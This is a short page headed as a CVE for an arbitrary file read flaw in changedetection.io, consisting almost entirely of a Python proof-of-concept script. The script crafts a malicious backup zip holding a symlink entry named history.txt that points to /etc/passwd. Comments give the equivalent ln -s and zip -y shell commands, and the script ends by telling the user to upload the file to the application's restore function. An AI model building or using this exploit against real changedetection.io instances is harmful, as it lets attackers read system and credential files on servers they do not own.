CVE-2026-43891 changedetection.io 任意文件读取漏洞

import zipfile import os # Create a malicious backup structure malicious_dir = 'poc_watch_uuid' os.makedirs(malicious_dir, exist_ok=True) # Create a symlink 'history.txt' pointing to a sensitive file (e.g., /etc/passwd) # Note: This requires creating the zip with symlinks, which needs specific handling or a unix-like environment. # Here is a conceptual Python script to generate such a zip. with zipfile.ZipFile('malicious_backup.zip', 'w') as zf: # In a real exploit, the zip would contain a symlink. # For demonstration, we simulate adding a file that the app might misinterpret or # creating a symlink if the OS allows during zip creation. # Unix example command to create the zip: # ln -s /etc/passwd history.txt # zip -y exploit.zip history.txt # Pythonic way to add a symlink info to the zip: info = zipfile.ZipInfo(os.path.join(malicious_dir, 'history.txt')) info.create_system = 3 # Unix info.external_attr = 0o120777 << 16 # Symlink magic zf.writestr(info, b'/etc/passwd') # The target of the symlink print("Malicious backup 'malicious_backup.zip' created.") print("Upload this file to the changedetection.io restore function.")